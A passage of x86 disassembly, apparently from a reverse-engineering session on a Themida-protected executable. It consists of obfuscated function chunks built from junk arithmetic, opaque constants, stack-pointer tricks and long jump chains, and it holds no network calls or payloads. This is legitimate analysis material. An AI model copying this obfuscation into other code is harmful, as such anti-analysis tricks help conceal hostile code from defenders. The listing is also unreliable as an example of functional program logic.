		mov	edx, 45CB5260h
		xor	edx, 5E35429Ch
		sub	esi, edx
		jmp	loc_591260
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_590C56:				; CODE XREF: Themida_:0058BE06j
		mov	dl, 0A7h
		mov	al, dl
		jmp	loc_593ABF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_590C5F:				; CODE XREF: sub_596498-4D91j
		shr	ecx, 2
		add	ecx, 0E190253Dh
		jmp	loc_58A791
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_590C6D:				; CODE XREF: Themida_:0058F939j
		sub	eax, 73267D91h
		sub	eax, ebx
		add	eax, 73267D91h
		jmp	loc_59645A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590C7E:				; CODE XREF: Themida_:005906E8j
					; sub_596082-2CC0j
		xor	cl, 83h
		or	cl, 0E4h
		jle	loc_590E8B
		push	dx
		mov	dl, 0DEh
		xor	cl, dl
		pop	dx
		mov	dh, cl
		mov	ah, cl
		push	edx


loc_590C97:				; CODE XREF: sub_58E66C+8BB5j
		add	eax, 1A2F60FCh
		sub	eax, 18A9106Bh
		sub	ebp, eax
		pop	eax
		or	ebp, 7A2112AFh
		xor	ebp, 7A6156BBh
		add	ecx, ebp
		pop	ebp
		push	edx
		jmp	loc_594E8B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590CB9:				; CODE XREF: sub_591C99+BB2j
		sub	edi, 6AE260C1h
		add	edi, eax
		add	edi, 6AE260C1h
		pop	eax
		pop	edx
		add	edi, 2
		xor	edi, [esp-0Eh+arg_6]
		xor	[esp-0Eh+arg_6], edi
		xor	edi, [esp-0Eh+arg_6]
		mov	esp, [esp-0Eh+arg_6]
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], ebx
		mov	bh, dl
		push	edx
		jmp	loc_590EBA
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_590CE9:				; CODE XREF: Themida_:00594A93j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_594848
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_590CF9:				; CODE XREF: sub_58F160:loc_593D22j
					; Themida_:loc_5976EDj
		add	dh, 0CDh
		jno	loc_596489
		xor	dh, 0CDh
		jmp	loc_594F78
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
		pop	dword ptr [eax]
		mov	ch, 5Ch


loc_590D0E:				; CODE XREF: Themida_:00590728j
		pop	esp
		jmp	loc_58EA8B
; ---------------------------------------------------------------------------


loc_590D14:				; CODE XREF: Themida_:0058CF91j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DDD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590D24:				; CODE XREF: sub_58E66C+4938j
		add	ebx, edi
		jmp	loc_591843
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C4A4


loc_590D2B:				; CODE XREF: sub_58C4A4+3C17j
		push	[esp+8+var_8]
		pop	ebp
		jmp	sub_58D133
; END OF FUNCTION CHUNK	FOR sub_58C4A4
; ---------------------------------------------------------------------------


loc_590D34:				; CODE XREF: Themida_:loc_596B6Fj
		push	ebx
		jmp	loc_592BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_590D3A:				; CODE XREF: sub_59447B+18DDj
		xor	edi, 0E6D0253h
		sub	ecx, edi
		pop	edi
		xor	ecx, 72DC67BFh
		push	eax
		mov	eax, 3E79367Bh
		add	ecx, eax
		pop	eax
		sub	ecx, 0E1CC06ACh
		add	edx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_5952FE
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590D68:				; CODE XREF: sub_596082+C65j
		push	edi
		mov	edi, 55143FF5h
		xor	edi, 25767B83h
		sub	edi, 68306A4Fh
		sub	edi, 4AA71776h
		xor	edi, 0BD8AC2B5h
		add	edx, edi
		pop	edi
		jmp	loc_591CBD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_590D8E:				; CODE XREF: sub_58C878+30F7j
		pop	edx
		mov	eax, esi
		mov	esi, [esp+0]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 463C38FDh
		push	ecx
		jmp	loc_593C96
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590DA3:				; CODE XREF: sub_58E66C+7919j
		add	edi, ecx
		pop	ecx
		jmp	loc_594E71
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_590DAB:				; CODE XREF: sub_593009-1A96j
		shl	edx, 1
		jmp	loc_594126
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_590DB2:				; CODE XREF: sub_59236E+333Aj
		push	1AABh
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		push	edx
		push	4E64h
		mov	[esp+0Ch+var_C], esp
		push	ecx
		mov	ecx, 4
		add	[esp+10h+var_C], ecx
		pop	ecx
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_58DC90
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------


loc_590DF0:				; CODE XREF: Themida_:005951E1j
		xor	edx, 0C546307h
		push	ecx
		mov	ecx, 451F264Bh
		sub	edx, ecx
		jmp	loc_58FB73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_590E03:				; CODE XREF: sub_58C878-1767j
		pop	eax
		jmp	loc_5918C3
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590E09:				; CODE XREF: sub_58E66C-3B48j
		add	ecx, 75301EF9h
		or	ecx, 332E5D00h
		sub	ecx, 9F57A886h
		sub	eax, ecx
		pop	ecx
		pop	edi
		and	ecx, eax
		push	[esp-4+arg_0]
		jmp	loc_59174F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_590E29:				; CODE XREF: sub_5F45E7-65527j
		xchg	eax, [esp+2Ch+var_2C]
		jmp	loc_596AE9
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_590E31:				; CODE XREF: sub_590B23+F20j
		mov	ebp, 60EB671Ah
		jmp	loc_5901BF
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------


loc_590E3B:				; CODE XREF: Themida_:0058B635j
		sub	al, ch
		pop	ecx
		shl	al, 8
		push	ebx
		mov	bl, 76h
		jmp	loc_58D240
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58D73B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	6B26h
		mov	[esp], esi
		jmp	loc_58B47F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_59306B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590E8B:				; CODE XREF: sub_596082-53FEj
		push	dx
		mov	dl, 0DEh
		xor	cl, dl
		pop	dx
		mov	dh, cl
		jmp	loc_58C0E0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_590E9A:				; CODE XREF: Themida_:0058B58Ej
		push	esp
		jmp	loc_59585D
; ---------------------------------------------------------------------------


loc_590EA0:				; CODE XREF: Themida_:0058B02Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_595D69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5977F3


loc_590EB4:				; CODE XREF: sub_5977F3+1j
		push	esi
		jmp	loc_58B0D6
; END OF FUNCTION CHUNK	FOR sub_5977F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590EBA:				; CODE XREF: sub_591C99-FB5j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-0Ah+arg_0+2], ecx
		mov	cl, bh
		push	edx
		mov	dh, cl
		push	ecx
		jmp	loc_5936CC
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_590EDA:				; CODE XREF: sub_58D966:loc_58F5EDj
		add	ebx, 533F7C0Bh
		jnz	loc_59609D
		add	ebx, 0DAE3AF06h
		push	ebx
		jmp	loc_5951C8
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------
		xor	bh, 0BDh

; =============== S U B	R O U T	I N E =======================================



sub_590EF5	proc near		; CODE XREF: sub_596082:loc_58D745j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 0FA6F4FBCh
		sub	edx, edi
		jmp	loc_58CA98
sub_590EF5	endp

; ---------------------------------------------------------------------------


loc_590F07:				; CODE XREF: Themida_:0058BF87j
		pop	eax
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_58D7FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590F1B:				; CODE XREF: sub_596082-2B94j
		mov	ecx, [esp+0Ch+var_C]
		push	ecx
		jmp	loc_593AF9
; ---------------------------------------------------------------------------


loc_590F24:				; CODE XREF: sub_596082-4627j
		mov	bl, cl
		mov	[edi+eax*4], bl
		pop	ebx
		pop	ecx
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_590F30:				; CODE XREF: Themida_:00591363j
		push	1EDD20A9h
		pop	esi
		add	esi, 5D9E692Fh
		jmp	loc_591678
; ---------------------------------------------------------------------------


loc_590F41:				; CODE XREF: Themida_:loc_58DAF1j
		jmp	loc_58D16E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590F46:				; CODE XREF: sub_58E66C-1E30j
		sub	edx, 2F494C64h
		jmp	loc_592CEA
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_58D607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590F5D:				; CODE XREF: Themida_:0058D0B3j
					; sub_591C99:loc_58E34Bj
		xchg	eax, [esp-0Ah+arg_0+2]
		jmp	loc_58D2B8
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_590F65:				; CODE XREF: Themida_:0058AAF7j
		push	eax
		mov	ah, 0FDh
		or	bh, ah
		pop	eax
		add	bh, 0DDh
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		pop	ebx
		sub	cl, 3Dh
		and	cl, 0F3h
		jmp	loc_58F497
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590F80:				; CODE XREF: sub_591C99-34FBj
					; Themida_:00592CE2j
		sub	cl, ah
		jmp	loc_591A16
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_590F87:				; CODE XREF: Themida_:00592394j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_595CD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_590FA5:				; CODE XREF: sub_591C99+2968j
		push	dword ptr [edi+eax*4]
		push	eax
		jmp	loc_597814
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590FAE:				; CODE XREF: sub_596082-9A33j
		add	eax, 0B7F315Dh
		jmp	loc_58AE5B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_590FB8:				; CODE XREF: sub_58F160-4788j
		pop	ebp
		push	0
		sub	[esp-8+arg_4], edi
		jmp	loc_58C183
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_590FC6:				; CODE XREF: sub_58D2AA+4CDBj
		pop	ebx
		pop	[esp+4+var_4]
		jmp	loc_5952F5
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590FCF:				; CODE XREF: sub_592E65-23D6j
					; sub_596082+1F9j
		push	[esp+8+var_8]
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_58CDAF
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59765D


loc_590FDB:				; CODE XREF: sub_59765D+1j
		mov	ebp, 46D1325h
		push	esi
		mov	esi, 7835432Ah
		not	esi
		add	esi, 0D47F7CF9h
		and	ebp, esi
		jmp	loc_58F485
; END OF FUNCTION CHUNK	FOR sub_59765D
; ---------------------------------------------------------------------------


loc_590FF5:				; CODE XREF: Themida_:0059172Aj
					; Themida_:00593740j
		sub	edx, 1
		push	esi
		mov	esi, 77A43F7Fh
		add	edx, esi
		pop	esi
		add	edx, 890FEC43h
		add	eax, edx
		pop	edx
		sub	eax, ebx
		push	0CF5h
		mov	[esp], edi
		mov	edi, 8397E93h
		push	ebx
		push	66691C9Eh
		pop	ebx
		neg	ebx
		shr	ebx, 2
		neg	ebx
		and	ebx, 3C620E74h
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xor	ebx, 0D03BF664h
		sub	eax, 652B579Bh
		sub	eax, ebx
		add	eax, 652B579Bh
		pop	ebx
		sub	eax, edi
		jmp	loc_58C4D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_591050:				; CODE XREF: sub_58A5F7+30E8j
		add	edi, 7476264Eh
		add	edi, 216473E6h
		add	edi, edx
		sub	edi, 216473E6h
		jmp	loc_58A914
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591069:				; CODE XREF: sub_58F160+4CA6j
					; sub_58E66C+886Aj
		mov	dh, 9Eh
		mov	cl, 0E6h
		add	cl, 0A1h
		add	cl, dh
		sub	cl, 0A1h
		mov	edx, [esp+6+var_8+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_5901A6
; ---------------------------------------------------------------------------


loc_591080:				; CODE XREF: sub_58E66C-1D33j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_59292C
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_591096:				; CODE XREF: Themida_:0058A53Cj
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5954DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_5910A7:				; CODE XREF: sub_58D6A0+356Bj
		pop	edx
		push	ebx
		jmp	loc_58C6FB
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------


loc_5910AE:				; CODE XREF: Themida_:0058A7EFj
		push	692Ah
		jmp	loc_58F046
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5910B8:				; CODE XREF: Themida_:0058AC06j
					; sub_593009:loc_59267Dj
		push	583Ch
		mov	[esp-2Ch+arg_28], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp-2Ch+arg_28]
		mov	esp, [esp-2Ch+arg_28]
		mov	[esp-2Ch+arg_28], edx
		jmp	loc_58F77D
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_5910DC:				; CODE XREF: sub_5917EE-39E7j
		sub	[edx+30h], ebp
		pop	ebp
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_5910E8:				; CODE XREF: sub_58AE7C+6426j
					; Themida_:00592830j
		mov	edx, 757F0B9Dh
		jmp	loc_58F417
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5910F2:				; CODE XREF: sub_5925A4-6E8Dj
		xor	edx, [esp+8+var_A+2]
		pop	esp
		div	cx
		push	esi
		jmp	loc_58B5C2
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_5910FF:				; CODE XREF: Themida_:0058AD95j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58D9E8
; ---------------------------------------------------------------------------


loc_591110:				; CODE XREF: Themida_:0058B27Aj
		xor	edx, 4220067h
		add	ebp, edx
		pop	edx
		push	ecx
		push	2
		jmp	loc_58F25D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_591124:				; CODE XREF: sub_593009+3BDDj
		push	edx
		mov	edx, 7C9573D6h
		not	edx
		sub	edx, 60E92A43h
		jp	loc_58BD6A
		or	edx, 44DD42A4h
		xor	edx, 2DE27E79h
		jnb	loc_591E11
		sub	edx, 45AD5787h
		or	al, 72h
		mov	eax, eax


loc_591154:				; CODE XREF: Themida_:005941B9j
		add	eax, 6F2A0A65h
		pop	esi
		sub	esp, 4
		mov	[esp-28h+arg_24], edi
		jmp	loc_5925DF
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_591168:				; CODE XREF: sub_596BF6-2728j
		mov	[esp-4+arg_0], eax
		mov	eax, 7C4E2FD3h
		sub	[esp-4+arg_4], 46391FD6h
		add	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 46391FD6h
		pop	eax
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_59118A:				; CODE XREF: Themida_:005970FDj
		mov	eax, 7B45B7ECh
		add	ecx, 7E5F56D9h
		sub	ecx, eax
		push	49E3h
		mov	[esp], ebp
		mov	ebp, 7E5F56D9h
		jmp	loc_596907
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_5911A9:				; CODE XREF: sub_58E91C+6BF4j
		xor	ecx, esi
		pop	esi
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		mov	ebx, [esp-8+arg_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		jmp	loc_593A19
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 2260h
		mov	[esp], ax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_5911DB:				; CODE XREF: Themida_:00592A0Ej
		shl	bl, 6
		jp	loc_59650B
		add	bl, 2Bh
		sub	bl, 0D1h
		mov	ch, bl
		jmp	loc_593017
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5911F1:				; CODE XREF: sub_596082-EB2j
		add	edi, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	edi, 4
		jmp	loc_591F63
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_591204:				; CODE XREF: sub_5917EE-1B92j
		pop	edx
		push	1E78h
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_58DDF2
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------


loc_591212:				; CODE XREF: Themida_:00596513j
		pop	ebx
		push	2A7Ah
		mov	[esp], edx
		mov	dh, 0A4h
		add	ch, dh
		pop	edx
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5926B2
; ---------------------------------------------------------------------------


loc_591241:				; CODE XREF: Themida_:0058CE65j
		xor	esi, [esp]
		pop	esp
		push	6D43h
		mov	[esp], edx
		push	6460h
		mov	[esp], ebx
		push	eax
		mov	eax, 24B017A6h
		jmp	loc_5956FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591260:				; CODE XREF: sub_58E66C+25E5j
		pop	edx
		jmp	loc_5956AD
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_591266:				; CODE XREF: Themida_:0058F503j
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_58AD9A
; ---------------------------------------------------------------------------


loc_591275:				; CODE XREF: Themida_:0058E521j
		sub	esp, 4
		jmp	loc_594F60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_59127D:				; CODE XREF: sub_58AE7C+8132j
		push	edx
		mov	dh, 6Ah
		and	dh, 9Fh
		dec	dh
		add	dh, 8
		sub	dh, 92h
		add	bl, dh
		pop	edx
		and	al, bl
		pop	ebx
		push	5B78h
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_5910E8
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_5912A7:				; CODE XREF: Themida_:005927A0j
		and	edx, 56312E50h
		jns	loc_5932AE
		sub	edx, 2302C4Eh
		mov	dh, bl
		mov	dl, ch


loc_5912BD:				; CODE XREF: Themida_:00597109j
		pop	esp
		mov	ax, [esp]
		push	73D3h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, 1C966392h
		shr	ecx, 8
		js	loc_59626A
		or	ecx, 7E1A2ECFh
		jmp	loc_58FD80
; ---------------------------------------------------------------------------


loc_5912EF:				; CODE XREF: Themida_:00592E0Dj
		push	edx
		mov	edx, 641079CCh
		jmp	loc_59200C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5912FA:				; CODE XREF: sub_596082-59C4j
		pop	ecx
		add	esp, 4
		add	ecx, 21B12B86h
		pop	ebp
		neg	ecx
		shl	ecx, 2
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 1C77D381h
		and	eax, ecx
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		xor	[esp+4+var_4], edx
		xor	edx, [esp+4+var_4]
		xor	[esp+4+var_4], edx
		not	edx
		push	edx
		jmp	loc_597483
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_59134C:				; CODE XREF: sub_58F160+4C6Cj
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_59135A:				; CODE XREF: Themida_:0058B01Bj
		pop	ecx
		jmp	loc_5909AC
; ---------------------------------------------------------------------------
		push	ebx
		push	eax
		push	esi
		jmp	loc_590F30
; ---------------------------------------------------------------------------


loc_591368:				; CODE XREF: Themida_:0058EBE3j
		push	edi
		mov	edi, 8AAE3126h
		add	ebp, edi
		jmp	loc_58B695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591375:				; CODE XREF: sub_58E66C+19EEj
		push	[esp-4+arg_0]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		shr	eax, 8
		xor	eax, ecx
		push	7002h
		mov	[esp+4+var_4], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		sub	edx, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], eax
		xchg	edi, [esp+0]
		not	edi
		xor	[esp+0], edi
		xor	edi, [esp+0]
		xor	[esp+0], edi
		mov	eax, [esp+0]
		add	esp, 4
		push	1A6Fh
		jmp	loc_58E1AB
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5913E4:				; CODE XREF: sub_591C99+5B7Cj
		mov	eax, [esp+0]
		jmp	loc_58D22A
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_5913EC:				; CODE XREF: sub_596FD2-114Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_5917F5
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5913FF:				; CODE XREF: Themida_:0058A9F0j
					; sub_58E66C+7CB9j
		sub	al, 2Eh
		jmp	sub_5925A4
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_591406:				; CODE XREF: Themida_:0058B1D0j
		push	edx
		mov	edx, 11CF2FB9h
		or	edx, 32757826h
		push	edi
		mov	edi, 0C576EF59h
		add	edx, edi
		jmp	loc_596A72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_59141F:				; CODE XREF: sub_5925A4-72A0j
		mov	cl, dh
		mov	edx, [esp+0Ch+var_E+2]
		add	esp, 4
		mov	dh, 18h
		neg	dh
		jg	loc_591DDF
		shl	dh, 5
		js	loc_593174
		push	eax
		mov	ah, 83h
		add	ah, 9Ch
		jmp	loc_592CFD
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2BE


loc_591448:				; CODE XREF: sub_58E2BE+13j
		mov	[esp+0], ebx
		sub	esp, 4
		mov	[esp-4+arg_0], esp
		jmp	loc_58FD9A
; END OF FUNCTION CHUNK	FOR sub_58E2BE
; ---------------------------------------------------------------------------


loc_591456:				; CODE XREF: Themida_:00592E75j
		add	ebx, ecx
		add	ebx, 361B0601h
		pop	ecx
		jmp	loc_5968C1
; ---------------------------------------------------------------------------


loc_591464:				; CODE XREF: Themida_:0058BAA0j
		dec	eax
		jnz	loc_58F085
		neg	eax
		jmp	loc_592032
; ---------------------------------------------------------------------------
		mov	ecx, [esp]


loc_591475:				; CODE XREF: Themida_:00596E40j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_591E01
; ---------------------------------------------------------------------------


loc_59147E:				; CODE XREF: Themida_:0058F623j
		and	[esp], al
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D133


loc_591487:				; CODE XREF: sub_58D133+3349j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58D396
; END OF FUNCTION CHUNK	FOR sub_58D133
; ---------------------------------------------------------------------------


loc_591495:				; CODE XREF: Themida_:0058E15Bj
		xor	edi, 0F4CEFBFBh
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	ecx
		push	edx
		mov	edx, 75FB6069h
		mov	ecx, 76287523h
		sub	ecx, edx
		pop	edx
		push	esi
		mov	esi, 3B4B4778h
		add	esi, 305A1388h
		or	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ecx, 7C88496Ch
		jmp	loc_58D342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5914D4:				; CODE XREF: sub_58E66C+100Bj
		add	esp, 4
		sub	[edi+24h], edx
		push	[esp+14h+var_14]
		pop	edx
		jmp	loc_597085
; END OF FUNCTION CHUNK	FOR sub_58E66C
